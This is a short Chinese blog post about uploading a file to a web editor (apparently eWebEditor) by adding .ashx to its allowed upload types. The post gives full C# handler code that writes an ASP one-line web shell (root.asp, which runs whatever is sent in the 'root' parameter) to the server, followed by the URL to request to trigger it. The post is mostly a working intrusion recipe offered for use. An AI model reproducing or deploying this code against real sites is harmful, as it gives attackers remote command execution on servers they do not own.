• 搜索
  • 夜间模式
    ©2026  岚峰 Theme by OneBlog

    岚峰博客

    搜索
    标签
    # 记事 # 维修 # plc # 学习 # 记录 # 文字 # 博客 # 小说 # 酒 # 闲话
  • 首页>
  • 生活片段>
  • 正文
  • 上传,别忘记ashx

    2011年07月29日 370 阅读 0 评论 1040 字

    By :Root , QQ:24162807 

    常见的脚本都过滤了 除PHP ,JSP倒是没有过滤,可惜不支持PHP JSP解析。这里我们还可以添加一个ashx 脚本类型。用ashx来写一个asp的一句话到当前目录。

     
    代码如下。

    <%@ WebHandler Language="C#" %>

    using System;
    using System.Web;
    using System.IO;
    public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";

    StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
    file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
    file1.Flush();
    file1.Close();

    }

    public bool IsReusable {
    get {
    return false;
    }
    }

    }

    保存为 ashx ,现在来添加一个 ashx 上传类型看看. 
    上传成功,直接访问

    http://www..xxxxx.com/ admin/eWebEditor/UploadFile/201082143554545.ashx 就会在当前目录生成一个

    root.asp的一句话木马。
    本文著作权归作者 [ 岚峰 ] 享有,未经作者书面授权,禁止转载,封面图片来源于 [ 互联网 ] ,本文仅供个人学习、研究和欣赏使用。如有异议,请联系博主及时处理。
    漏洞
    取消回复

    发表留言
    回复

    Copyright©2026  All Rights Reserved.  Load:0.010 s
    Theme by OneBlog V3.6.5
    夜间模式

    开源不易,请尊重作者版权,保留基本的版权信息。